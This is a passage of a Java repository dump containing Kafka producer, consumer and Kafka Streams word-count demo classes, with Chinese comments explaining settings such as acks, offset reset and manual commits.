0 ? index++ : index, \"pancm\" + random.nextInt(10));\n\t}\n}\n\nclass UserSupplier3 implements Supplier<User> {\n\tprivate int index = 16;\n\tprivate Random random = new Random();\n\n\t@Override\n\tpublic User get() {\n\t\treturn new User(index++, \"pancm\" + random.nextInt(10));\n\t}\n}\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk8/package-info.java",
    "content": "/**\n * \n */\n/**\n* @Title: package-info\n* @Description: \n* jdk1.8测试用例\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年5月14日\n*/\npackage com.jun.plugin.jdk8;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/KafkaProducerTest.java",
    "content": "package com.jun.plugin.mq.kafka;\n\nimport java.util.Properties;\n\nimport org.apache.kafka.clients.producer.KafkaProducer;\nimport org.apache.kafka.clients.producer.ProducerRecord;\nimport org.apache.kafka.common.serialization.StringSerializer;\n\n/**\n * \n* Title: kafkaTest\n* Description:\n* kafka测试 \n* Version:1.0.0  \n* @author pancm\n* @date 2018年1月11日\n */\npublic class KafkaProducerTest {\n\t\n\tprivate static KafkaProducer<String, String> producer;\n\tprivate final String topic;\n\tprivate int k=10;\n\t\n\t/**\n\t * @param topic      消息名称\n\t * @param\n\t */\n\tpublic KafkaProducerTest(String topic) {\n\t\tProperties props = new Properties();\n\t\tprops.put(\"bootstrap.servers\", \"master:9092,slave1:9092,slave2:9092\");\n\t\tprops.put(\"acks\", \"all\");\n\t\tprops.put(\"retries\", 0);\n\t\tprops.put(\"batch.size\", 16384);\n\t\tprops.put(\"linger.ms\", 1);\n\t\tprops.put(\"buffer.memory\", 33554432);\n\t\tprops.put(\"key.serializer\", StringSerializer.class.getName());\n\t\tprops.put(\"value.serializer\", StringSerializer.class.getName());\n\t\tthis.producer = new KafkaProducer<String, String>(props);\n\t\tthis.topic = topic;\n\t}\n\t\n\t\n\tprivate  void start(){\n\t\tint messageNo = 0;\n\t\ttry {\n\t\t\twhile (true) {\n\t\t\t\tString messageStr = \"insert into t_user(name,age) values ('李四',\"+messageNo*10+1+\")\" ;\n//\t\t\t\tStringBuffer sb=new StringBuffer();\n//\t\t\t\tfor(int i=1;i<=k;i++){\n//\t\t\t\t\tint count=k*messageNo+i;\n//\t\t\t\t\tmessageStr=\"insert into t_user(id,name,age) values (\"+count+\",'李四',\"+count+10+\")\" ;\n//\t\t\t\t\tsb.append(messageStr);\n//\t\t\t\t\tsb.append(\";\");\n//\t\t\t\t}\n//\t\t\t\tsb.deleteCharAt(sb.lastIndexOf(\";\"));\n//\t\t\t\tproducer.send(new ProducerRecord<String, String>(topic, \"Message\", sb.toString()));\n\t\t\t\tproducer.send(new ProducerRecord<String, String>(topic, \"Message\", messageStr));\n\t\t\t\tmessageNo++;\n\t\t\t\t//生产了100条就打印\n\t\t\t\tif(messageNo%100==0){\n\t\t\t\t\tSystem.out.println(\"Send:\" + messageStr);\n\t\t\t\t}\n\t\t\t\t//生产100条就退出\n\t\t\t\tif(messageNo%100==0){\n\t\t\t\t\tSystem.out.println(\"成功发送了\"+messageNo+\"条\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n//\t\t\t\tUtils.sleep(1);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tproducer.close();\n\t\t}\n\t}\n\t\n\t\n\tpublic static void main(String[] args) {\n\t\tKafkaProducerTest test =new KafkaProducerTest(\"INSERT_TOPIC11\");\n\t\ttest.start();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/examples/Consumer.java",
    "content": "package com.jun.plugin.mq.kafka.examples;\n\nimport java.util.Arrays;\nimport java.util.Properties;\n\nimport org.apache.kafka.clients.consumer.ConsumerRecord;\nimport org.apache.kafka.clients.consumer.ConsumerRecords;\nimport org.apache.kafka.clients.consumer.KafkaConsumer;\nimport org.apache.kafka.common.serialization.StringDeserializer;\n\n/**\n * \n* Title: Consumer\n* Description: kafka消费者 \n* Version:1.0.0  \n* @author pancm\n* @date 2017年12月29日\n */\npublic class Consumer extends Thread {\n\n\tprivate final KafkaConsumer<String, String> consumer;\n\tprivate final String topic;\n\tprivate static final String GROUPID = \"test-consumer-group\";\n\n\tpublic Consumer(String kafkaStr, String topic) {\n\t\tProperties props = new Properties();\n\t\tprops.put(\"bootstrap.servers\", kafkaStr);\n\t\tprops.put(\"group.id\", GROUPID);\n\t\tprops.put(\"enable.auto.commit\", \"true\");\n\t\tprops.put(\"auto.commit.interval.ms\", \"1000\");\n\t\tprops.put(\"session.timeout.ms\", \"30000\");\n\t\tprops.put(\"key.deserializer\", StringDeserializer.class.getName());\n\t\tprops.put(\"value.deserializer\", StringDeserializer.class.getName());\n\t\tthis.consumer = new KafkaConsumer<String, String>(props);\n\t\tthis.topic = topic;\n\t}\n\n\t@Override\n\tpublic void run() {\n\t\tthis.consumer.subscribe(Arrays.asList(topic));\n\t\tint messageNo = 1;\n\t\tSystem.out.println(\"消费开始---------\");\n\t\ttry {\n\t\t\twhile (true) {\n\t\t\t\tConsumerRecords<String, String> records = consumer.poll(100);\n\t\t\t\tfor (ConsumerRecord<String, String> record : records) {\n\t\t\t\t\t//消费100条就打印 \n\t\t\t\t\t//打印的数据不一定是这个规律的\n\t\t\t\t\tif(messageNo%100==0){\n\t\t\t\t\t\tSystem.out.println(\"receive: key = \" + record.key() + \", value = \" + record.value());\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t//当消费了1000条就退出\n\t\t\t\tif(messageNo%1000==0){\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tmessageNo++;\n\t\t\t}\n\t\t} finally {\n\t\t\tconsumer.close();\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/examples/DataProducer.java",
    "content": "package com.jun.plugin.mq.kafka.examples;\n\nimport java.util.Properties;\nimport java.util.Random;\n\nimport org.apache.kafka.clients.producer.KafkaProducer;\nimport org.apache.kafka.clients.producer.Producer;\nimport org.apache.kafka.clients.producer.ProducerRecord;\n\npublic class DataProducer {\n\tprivate static Random random = new Random(93285);\n\tprivate static Producer<String, String> producer;\n\n\tpublic static void main(String args[]) {\n\t\tProperties props = new Properties();\n\t\tprops.put(\"bootstrap.servers\", \"192.168.125.172:9092\");\n\t\tprops.put(\"acks\", \"all\");\n\t\tprops.put(\"retries\", 0);\n\t\tprops.put(\"batch.size\", 16384);\n\t\tprops.put(\"linger.ms\", 1);\n\t\tprops.put(\"buffer.memory\", 33554432);\n\t\tprops.put(\"key.serializer\", \"org.apache.kafka.common.serialization.StringSerializer\");\n\t\tprops.put(\"value.serializer\", \"org.apache.kafka.common.serialization.StringSerializer\");\n\t\tproducer = new KafkaProducer<>(props);\n\t\tint count = 0;\n\t\tlong startTime = System.nanoTime(); // 获取开始时间\n\t\tint tdata = 0;\n\t\tdouble hdata = 0.0;\n\t\twhile (true) {\n\t\t\tint choise = 0 + random.nextInt(10000);\n\t\t\tswitch (choise) {\n\t\t\tcase 0:\n\t\t\t\ttdata = createRandom(-30, -20);\n\t\t\t\thdata = createRandom(0.0, 4.9);\n\t\t\t\tbreak;\n\t\t\tcase 9999:\n\t\t\t\ttdata = createRandom(60, 70);\n\t\t\t\thdata = createRandom(96.0, 100.0);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\ttdata = createRandom(-19, 59);\n\t\t\t\thdata = createRandom(5.0, 95.9);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tproducer.send(new ProducerRecord<String, String>(args[0], \"temper:\" + tdata + \",\" + \"humi:\" + hdata));\n\t\t\tlong endTime = System.nanoTime();\n\t\t\tcount++;\n\t\t\tint a = (int) ((endTime - startTime) * Math.pow(10, -9));\n\t\t\tif (a == 1) {\n\t\t\t\tSystem.out.println(args[0] + \"每秒发送：\" + count + \"条数据\");\n\t\t\t\tcount = 0;\n\t\t\t\tstartTime = System.nanoTime();\n\t\t\t}\n\t\t}\n\n\t}\n\n\tprivate static int createRandom(int min, int max) {\n\t\treturn min + random.nextInt(max - min);\n\t}\n\n\tprivate static double createRandom(double min, double max) {\n\t\tif (min == 0) {\n\t\t\treturn max - random.nextDouble();\n\t\t}\n\t\treturn max - random.nextDouble() * min;\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/examples/KafkaProducerConsumerDemo.java",
    "content": "package com.jun.plugin.mq.kafka.examples;\n\npublic class KafkaProducerConsumerDemo {\n\n\tpublic static final String KAFKASTR = \"master:9092\";\n\n\tpublic static void main(String[] args) {\n\t\tnew Producer(KAFKASTR, \"pcm_test1\").start(); // args[0] 为要发送的 topic\n//\t\tnew Consumer(KAFKASTR, \"pcm_test1\").start(); // args[0] 为要接收的 topic\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/examples/Producer.java",
    "content": "package com.jun.plugin.mq.kafka.examples;\n\nimport java.util.Properties;\n\nimport org.apache.kafka.clients.producer.KafkaProducer;\nimport org.apache.kafka.clients.producer.ProducerRecord;\nimport org.apache.kafka.common.serialization.StringSerializer;\n\n/**\n * \n* Title: Producer\n* Description: kafka生产者 由于生产消息 \n* Version:1.0.0  \n* @author pancm\n* @date 2017年12月29日\n */\npublic class Producer extends Thread {\n\n\tprivate final KafkaProducer<String, String> producer;\n\tprivate final String topic;\n   \n\t/**\n\t * \n\t * @param kafkaStr   kafka地址\n\t * @param topic      消息名称\n\t * @param\n\t */\n\tpublic Producer(String kafkaStr, String topic) {\n\t\tProperties props = new Properties();\n\t\tprops.put(\"bootstrap.servers\", kafkaStr);\n\t\tprops.put(\"acks\", \"all\");\n\t\tprops.put(\"retries\", 0);\n\t\tprops.put(\"batch.size\", 16384);\n\t\tprops.put(\"linger.ms\", 1);\n\t\tprops.put(\"buffer.memory\", 33554432);\n\t\tprops.put(\"key.serializer\", StringSerializer.class.getName());\n\t\tprops.put(\"value.serializer\", StringSerializer.class.getName());\n\t\tthis.producer = new KafkaProducer<String, String>(props);\n\t\tthis.topic = topic;\n\t}\n\n\t@Override\n\tpublic void run() {\n\t\tint messageNo = 1;\n\t\ttry {\n\t\t\twhile (true) {\n\t\t\t\tString messageStr = \"Message_\" + messageNo;\n\t\t\t\t//生产了100条就打印\n\t\t\t\tif(messageNo%100==0){\n\t\t\t\t\tSystem.out.println(\"Send:\" + messageStr);\n\t\t\t\t}\n\t\t\t\t//生产1000条就退出\n//\t\t\t\tif(messageNo%1000==0){\n//\t\t\t\t\tbreak;\n//\t\t\t\t}\n\t\t\t\tproducer.send(new ProducerRecord<String, String>(topic, \"Message\", messageStr));\n\t\t\t\tmessageNo++;\n\t\t\t\tsleep(10);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tproducer.close();\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/examples/WordCountDemo.java",
    "content": "package com.jun.plugin.mq.kafka.examples;\n\nimport java.util.Arrays;\nimport java.util.Locale;\nimport java.util.Properties;\nimport java.util.concurrent.CountDownLatch;\n\nimport org.apache.kafka.clients.consumer.ConsumerConfig;\nimport org.apache.kafka.common.serialization.Serdes;\nimport org.apache.kafka.streams.KafkaStreams;\nimport org.apache.kafka.streams.StreamsBuilder;\nimport org.apache.kafka.streams.StreamsConfig;\nimport org.apache.kafka.streams.kstream.KStream;\nimport org.apache.kafka.streams.kstream.KTable;\nimport org.apache.kafka.streams.kstream.KeyValueMapper;\nimport org.apache.kafka.streams.kstream.Produced;\nimport org.apache.kafka.streams.kstream.ValueMapper;\n\n/**\n * Demonstrates, using the high-level KStream DSL, how to implement the WordCount program\n * that computes a simple word occurrence histogram from an input text.\n *\n * In this example, the input stream reads from a topic named \"streams-plaintext-input\", where the values of messages\n * represent lines of text; and the histogram output is written to topic \"streams-wordcount-output\" where each record\n * is an updated count of a single word.\n *\n * Before running this example you must create the input topic and the output topic (e.g. via\n * bin/kafka-topics.sh --create ...), and write some data to the input topic (e.g. via\n * bin/kafka-console-producer.sh). Otherwise you won't see any data arriving in the output topic.\n */\npublic class WordCountDemo {\n\n    public static void main(String[] args) throws Exception {\n        Properties props = new Properties();\n        props.put(StreamsConfig.APPLICATION_ID_CONFIG, \"streams-wordcount\");\n        props.put(StreamsConfig.BOOTSTRAP_SERVERS_CONFIG, \"192.169.0.23:9092\");\n        props.put(StreamsConfig.CACHE_MAX_BYTES_BUFFERING_CONFIG, 0);\n        props.put(StreamsConfig.DEFAULT_KEY_SERDE_CLASS_CONFIG, Serdes.String().getClass().getName());\n        props.put(StreamsConfig.DEFAULT_VALUE_SERDE_CLASS_CONFIG, Serdes.String().getClass().getName());\n\n        // setting offset reset to earliest so that we can re-run the demo code with the same pre-loaded data\n        // Note: To re-run the demo, you need to use the offset reset tool:\n        // https://cwiki.apache.org/confluence/display/KAFKA/Kafka+Streams+Application+Reset+Tool\n        props.put(ConsumerConfig.AUTO_OFFSET_RESET_CONFIG, \"earliest\");\n\n        StreamsBuilder builder = new StreamsBuilder();\n\n        KStream<String, String> source = builder.stream(\"streams-plaintext-input\");\n\n        KTable<String, Long> counts = source\n            .flatMapValues(new ValueMapper<String, Iterable<String>>() {\n                @Override\n                public Iterable<String> apply(String value) {\n                    return Arrays.asList(value.toLowerCase(Locale.getDefault()).split(\" \"));\n                }\n            })\n            .groupBy(new KeyValueMapper<String, String, String>() {\n                @Override\n                public String apply(String key, String value) {\n                    return value;\n                }\n            })\n            .count();\n\n        // need to override value serde to Long type\n        counts.toStream().to(\"streams-wordcount-output\", Produced.with(Serdes.String(), Serdes.Long()));\n\n        final KafkaStreams streams = new KafkaStreams(builder.build(), props);\n        final CountDownLatch latch = new CountDownLatch(1);\n\n        // attach shutdown handler to catch control-c\n        Runtime.getRuntime().addShutdownHook(new Thread(\"streams-wordcount-shutdown-hook\") {\n            @Override\n            public void run() {\n                streams.close();\n                latch.countDown();\n            }\n        });\n\n        try {\n            streams.start();\n            latch.await();\n        } catch (Throwable e) {\n            System.exit(1);\n        }\n        System.exit(0);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/examples/package-info.java",
    "content": "/**\n * \n */\n/**\n * Title: package-info\n * Description: \n * Version:1.0.0  \n * @author pancm\n * @date 2017年12月29日\n */\npackage com.jun.plugin.mq.kafka.examples;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/others/TestConsumer.java",
    "content": "package com.jun.plugin.mq.kafka.others;\n\nimport java.util.Arrays;\nimport java.util.Properties;\n\nimport org.apache.kafka.clients.consumer.ConsumerRecord;\nimport org.apache.kafka.clients.consumer.ConsumerRecords;\nimport org.apache.kafka.clients.consumer.KafkaConsumer;\n\npublic class TestConsumer {\n\n    public static void main(String[] args) {\n        Properties props = new Properties();\n\n        props.put(\"bootstrap.servers\", \"192.169.0.23:9092\");\n        System.out.println(\"this is the group part test 1\");\n        //消费者的组id\n        props.put(\"group.id\", \"GroupA\");//这里是GroupA或者GroupB\n\n        props.put(\"enable.auto.commit\", \"true\");\n        props.put(\"auto.commit.interval.ms\", \"1000\");\n\n        //从poll(拉)的回话处理时长\n        props.put(\"session.timeout.ms\", \"30000\");\n        //poll的数量限制\n        //props.put(\"max.poll.records\", \"100\");\n\n        props.put(\"key.deserializer\", \"org.apache.kafka.common.serialization.StringDeserializer\");\n\n        props.put(\"value.deserializer\", \"org.apache.kafka.common.serialization.StringDeserializer\");\n\n        KafkaConsumer<String, String> consumer = new KafkaConsumer<String, String>(props);\n        //订阅主题列表topic\n        consumer.subscribe(Arrays.asList(\"foo\"));\n        while (true) {\n            ConsumerRecords<String, String> records =consumer.poll(100);\n            for (ConsumerRecord<String, String> record : records)\n                //　正常这里应该使用线程池处理，不应该在这里处理\n                System.out.printf(\"offset = %d, key = %s, value = %s\", record.offset(), record.key(), record.value()+\"\\n\");\n        }\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/others/TestProducer.java",
    "content": "package com.jun.plugin.mq.kafka.others;\n\nimport java.util.Properties;\n\nimport org.apache.kafka.clients.producer.KafkaProducer;\nimport org.apache.kafka.clients.producer.Producer;\nimport org.apache.kafka.clients.producer.ProducerRecord;\n\npublic class TestProducer {\n    public static void main(String[] args) {\n    \tSystem.out.println(\"开始...\");\n         Properties props = new Properties();\n         props.put(\"bootstrap.servers\", \"192.169.0.23:9092\");\n         //The \"all\" setting we have specified will result in blocking on the full commit of the record, the slowest but most durable setting.\n        //“所有”设置将导致记录的完整提交阻塞，最慢的，但最持久的设置。\n         props.put(\"acks\", \"all\");\n         //如果请求失败，生产者也会自动重试，即使设置成０ the producer can automatically retry.\n         props.put(\"retries\", 0);\n\n         //The producer maintains buffers of unsent records for each partition. \n         props.put(\"batch.size\", 16384);\n         //默认立即发送，这里这是延时毫秒数\n         props.put(\"linger.ms\", 1);\n         //生产者缓冲大小，当缓冲区耗尽后，额外的发送调用将被阻塞。时间超过max.block.ms将抛出TimeoutException\n         props.put(\"buffer.memory\", 33554432);\n         //The key.serializer and value.serializer instruct how to turn the key and value objects the user provides with their ProducerRecord into bytes.\n         props.put(\"key.serializer\", \"org.apache.kafka.common.serialization.StringSerializer\");\n         props.put(\"value.serializer\", \"org.apache.kafka.common.serialization.StringSerializer\");\n\n         //创建kafka的生产者类\n         Producer<String, String> producer = new KafkaProducer<String, String>(props);\n         long startTime=System.currentTimeMillis();\n         producer.send(new ProducerRecord<String, String>(\"test1\",1,startTime,\"a\",\"b\"));\n         producer.close();\n         //生产者的主要方法\n         // close();//Close this producer.\n         //   close(long timeout, TimeUnit timeUnit); //This method waits up to timeout for the producer to complete the sending of all incomplete requests.\n         //  flush() ;所有缓存记录被立刻发送\n//         for(int i = 0; i < 100; i++){\n//        \t//这里平均写入4个分区\n//             producer.send(new ProducerRecord<String, String>(\"foo\",i%4, Integer.toString(i), Integer.toString(i)));\n//             producer.close();\n//         }\n          System.out.println(\"结束\");\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/others/package-info.java",
    "content": "/**\n * \n */\n/**\n * Title: package-info\n * Description: \n * Version:1.0.0  \n * @author pancm\n * @date 2017年12月29日\n */\npackage com.jun.plugin.mq.kafka.others;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/package-info.java",
    "content": "/**\n * Title: package-info\n * Description: kafka的相关代码\n * Version:1.0.0  \n * @author pancm\n * @date 2018年1月11日\n */\npackage com.jun.plugin.mq.kafka;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/test1/KafkaConsumerTest.java",
    "content": "package com.jun.plugin.mq.kafka.test1;\n\nimport java.util.Arrays;\nimport java.util.Properties;\n\nimport org.apache.kafka.clients.consumer.ConsumerRecord;\nimport org.apache.kafka.clients.consumer.ConsumerRecords;\nimport org.apache.kafka.clients.consumer.KafkaConsumer;\nimport org.apache.kafka.common.serialization.StringDeserializer;\n\n\n/**\n * \n* Title: KafkaConsumerTest\n* Description: \n*  kafka消费者 demo\n* Version:1.0.0  \n* @author pancm\n* @date 2018年1月26日\n */\npublic class KafkaConsumerTest implements Runnable {\n\n\tprivate final KafkaConsumer<String, String> consumer;\n\tprivate ConsumerRecords<String, String> msgList;\n\tprivate  String topic;\n\tprivate static final String GROUPID = \"groupA\";\n\n\t\n\t\n\tpublic KafkaConsumerTest(String topicName) {\n\t\tProperties props = new Properties();\n\t\t//kafka消费的的地址\n\t\tprops.put(\"bootstrap.servers\", \"master:9092,slave1:9092,slave2:9092\");\n\t\t//组名 不同组名可以重复消费\n\t\tprops.put(\"group.id\", GROUPID);\n\t\t//是否自动提交\n\t\tprops.put(\"enable.auto.commit\", \"true\");\n\t\t//从poll(拉)的回话处理时长\n\t\tprops.put(\"auto.commit.interval.ms\", \"1000\");\n\t\t//超时时间\n\t\tprops.put(\"session.timeout.ms\", \"30000\");\n\t\t//一次最大拉取的条数\n\t\tprops.put(\"max.poll.records\", 1000);\n//\t\tearliest当各分区下有已提交的offset时，从提交的offset开始消费；无提交的offset时，从头开始消费 \n//\t\tlatest \n//\t\t当各分区下有已提交的offset时，从提交的offset开始消费；无提交的offset时，消费新产生的该分区下的数据 \n//\t\tnone \n//\t\ttopic各分区都存在已提交的offset时，从offset后开始消费；只要有一个分区不存在已提交的offset，则抛出异常\n\t\tprops.put(\"auto.offset.reset\", \"earliest\");\n\t\t//序列化\n\t\tprops.put(\"key.deserializer\", StringDeserializer.class.getName());\n\t\tprops.put(\"value.deserializer\", StringDeserializer.class.getName());\n\t\tthis.consumer = new KafkaConsumer<String, String>(props);\n\t\tthis.topic = topicName;\n\t\t//订阅主题列表topic\n\t\tthis.consumer.subscribe(Arrays.asList(topic));\n\t\t\n\t}\n\n\t@Override\n\tpublic void run() {\n\t\tint messageNo = 1;\n\t\tSystem.out.println(\"---------开始消费---------\");\n\t\ttry {\n\t\t\tfor (;;) {\n\t\t\t\t\tmsgList = consumer.poll(100);\n\t\t\t\t\tif(null!=msgList&&msgList.count()>0){\n\t\t\t\t\tfor (ConsumerRecord<String, String> record : msgList) {\n\t\t\t\t\t\t//消费100条就打印 ,但打印的数据不一定是这个规律的\n\t\t\t\t\t\tif(messageNo%100==0){\n\t\t\t\t\t\t\tSystem.out.println(messageNo+\"=======receive: key = \" + record.key() + \", value = \" + record.value()+\" offset===\"+record.offset());\n\t\t\t\t\t\t}\n\t\t\t\t\t\t//当消费了1000条就退出\n\t\t\t\t\t\tif(messageNo%1000==0){\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tmessageNo++;\n\t\t\t\t\t}\n\t\t\t\t}else{\t\n\t\t\t\t\tThread.sleep(1000);\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t} catch (InterruptedException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tconsumer.close();\n\t\t}\n\t}\n   \n\tpublic static void main(String args[]) {\n\t\tKafkaConsumerTest test1 = new KafkaConsumerTest(\"KAFKA_TEST\");\n\t\tThread thread1 = new Thread(test1);\n\t\tthread1.start();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/test1/KafkaProducerTest.java",
    "content": "package com.jun.plugin.mq.kafka.test1;\n\nimport java.util.Properties;\n\nimport org.apache.kafka.clients.producer.KafkaProducer;\nimport org.apache.kafka.clients.producer.ProducerRecord;\nimport org.apache.kafka.common.serialization.StringSerializer;\n\n\n/**\n * \n* Title: KafkaProducerTest\n* Description: \n* kafka 生产者demo\n* Version:1.0.0  \n* @author pancm\n* @date 2018年1月26日\n */\npublic class KafkaProducerTest implements Runnable {\n\n\tprivate final KafkaProducer<String, String> producer;\n\tprivate final String topic;\n\n\t\n\tpublic KafkaProducerTest(String topicName) {\n\t\tProperties props = new Properties();\n\t\tprops.put(\"bootstrap.servers\", \"master:9092,slave1:9092,slave2:9092\");\n\t\t//acks=0：如果设置为0，生产者不会等待kafka的响应。\n\t\t//acks=1：这个配置意味着kafka会把这条消息写到本地日志文件中，但是不会等待集群中其他机器的成功响应。\n\t\t//acks=all：这个配置意味着leader会等待所有的follower同步完成。这个确保消息不会丢失，除非kafka集群中所有机器挂掉。这是最强的可用性保证。\n\t\tprops.put(\"acks\", \"all\");\n\t\t//配置为大于0的值的话，客户端会在消息发送失败时重新发送。\n\t\tprops.put(\"retries\", 0);\n\t\t//当多条消息需要发送到同一个分区时，生产者会尝试合并网络请求。这会提高client和生产者的效率\n\t\tprops.put(\"batch.size\", 16384);\n\t\tprops.put(\"key.serializer\", StringSerializer.class.getName());\n\t\tprops.put(\"value.serializer\", StringSerializer.class.getName());\n\t\tthis.producer = new KafkaProducer<String, String>(props);\n\t\tthis.topic = topicName;\n\t}\n\n\t@Override\n\tpublic void run() {\n\t\tint messageNo = 1;\n\t\ttry {\n\t\t\tfor(;;) {\n\t\t\t\tString messageStr=\"你好，这是第\"+messageNo+\"条数据\";\n\t\t\t\tproducer.send(new ProducerRecord<String, String>(topic, \"Message\", messageStr));\n\t\t\t\t//生产了100条就打印\n\t\t\t\tif(messageNo%100==0){\n\t\t\t\t\tSystem.out.println(\"发送的信息:\" + messageStr);\n\t\t\t\t}\n\t\t\t\t//生产1000条就退出\n\t\t\t\tif(messageNo%1000==0){\n\t\t\t\t\tSystem.out.println(\"成功发送了\"+messageNo+\"条\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tmessageNo++;\n//\t\t\t\tUtils.sleep(1);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tproducer.close();\n\t\t}\n\t}\n\t\n\tpublic static void main(String args[]) {\n\t\tKafkaProducerTest test = new KafkaProducerTest(\"KAFKA_TEST\");\n\t\tThread thread = new Thread(test);\n\t\tthread.start();\n\t}\n\t\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/test1/package-info.java",
    "content": "/**\n * \n */\n/**\n * Title: package-info\n * Description: \n * kafka demo\n * Version:1.0.0  \n * @author pancm\n * @date 2018年2月9日\n */\npackage com.jun.plugin.mq.kafka.test1;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/kafka/test2/KafkaConsumerTest.java",
    "content": "package com.jun.plugin.mq.kafka.test2;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.Properties;\n\nimport org.apache.kafka.clients.consumer.ConsumerRecord;\nimport org.apache.kafka.clients.consumer.ConsumerRecords;\nimport org.apache.kafka.clients.consumer.KafkaConsumer;\nimport org.apache.kafka.common.serialization.StringDeserializer;\n\n\n/**\n * \n* Title: KafkaConsumerTest\n* Description: \n* kafka消费者 demo\n* 手动提交测试\n* Version:1.0.0  \n* @author pancm\n* @date 2018年1月26日\n */\npublic class KafkaConsumerTest implements Runnable {\n\n\tprivate KafkaConsumer<String, String> consumer;\n\tprivate ConsumerRecords<String, String> msgList;\n\tprivate  String topic;\n\tprivate static final String GROUPID = \"groupE4\";\n\n\t\n\t\n\tpublic KafkaConsumerTest(String topicName) {\n\t\tthis.topic = topicName;\n\t\tinit();\n\t}\n\t\n\t@Override\n\tpublic void run() {\n\t\tSystem.out.println(\"---------开始消费---------\");\n\t\tint messageNo = 1;\n\t\tList<String> list=new ArrayList<String>();\n\t\tList<Long> list2=new ArrayList<Long>();\n\t\ttry {\n\t\t\tfor (;;) {\n\t\t\t\t\tmsgList = consumer.poll(100);\n\t\t\t\t\tif(null!=msgList&&msgList.count()>0){\n\t\t\t\t\tfor (ConsumerRecord<String, String> record : msgList) {\n\t\t\t\t\t\tif(messageNo%10==0){\n\t\t\t\t\t\t\tSystem.out.println(messageNo+\"=======receive: key = \" + record.key() + \", value = \" + record.value()+\" offset===\"+record.offset());\n\t\t\t\t\t\t}\n\t\t\t\t\t\tlist.add(record.value());\n\t\t\t\t\t\tlist2.add(record.offset());\n\t\t\t\t\t\tmessageNo++;\n\t\t\t\t\t}\n\t\t\t\t\tif(list.size()==50){\n\t\t\t\t\t\t// 手动提交\n\t\t\t\t\t\tconsumer.commitSync();\n\t\t\t\t\t\tSystem.out.println(\"成功提交\"+list.size()+\"条,此时的offset为:\"+list2.get(49));\n\t\t\t\t\t}else if(list.size()>50){\n\t\t\t\t\t\tconsumer.close();\n\t\t\t\t\t\tinit();\n\t\t\t\t\t\tlist.clear();\n\t\t\t\t\t\tlist2.clear();\n\t\t\t\t\t}\n\t\t\t\t}else{\t\n\t\t\t\t\tThread.sleep(1000);\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t} catch (InterruptedException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tconsumer.close();\n\t\t}\n\t}\n\t\n\tprivate void init() {\n\t\tProperties props = new Properties();\n\t\t//kafka消费的的地址\n\t\tprops.put(\"bootstrap.servers\", \"master:9092,slave1:9092,slave2:9092\");\n\t\t//组名 不同组名可以重复消费\n\t\tprops.put(\"group.id\", GROUPID);\n\t\t//是否自动提交\n\t\tprops.put(\"enable.auto.commit\", \"false\");\n\t\t//超时时间\n\t\tprops.put(\"session.timeout.ms\", \"30000\");\n\t\t//一次最大拉取的条数\n\t\tprops.put(\"max.poll.records\", 10);\n//\t\tearliest当各分区下有已提交的offset时，从提交的offset开始消费；无提交的offset时，从头开始消费 \n//\t\tlatest \n//\t\t当各分区下有已提交的offset时，从提交的offset开始消费；无提交的offset时，消费新产生的该分区下的数据 \n//\t\tnone \n//\t\ttopic各分区都存在已提交的offset时，从offset后开始消费；只要有一个分区不存在已提交的offset，则抛出异常\n\t\tprops.put(\"auto.offset.reset\", \"earliest\");\n\t\t//序列化\n\t\tprops.put(\"key.deserializer\", StringDeserializer.class.getName());\n\t\tprops.put(\"value.deserializer\", StringDeserializer.class.getName());\n\t\tthis.consumer = new KafkaConsumer<String, String>(props);\n\t\t//订阅主题列表topic\n\t\tthis.consumer.subscribe(Arrays.asList(topic));\n\t\t\n\t\tSystem.out.println(\"初始化!\");\n\t}\n\t\n\t\n   \n\tpublic static void main(String args[]) {\n\t\tKafkaConsumerTest test1 = new 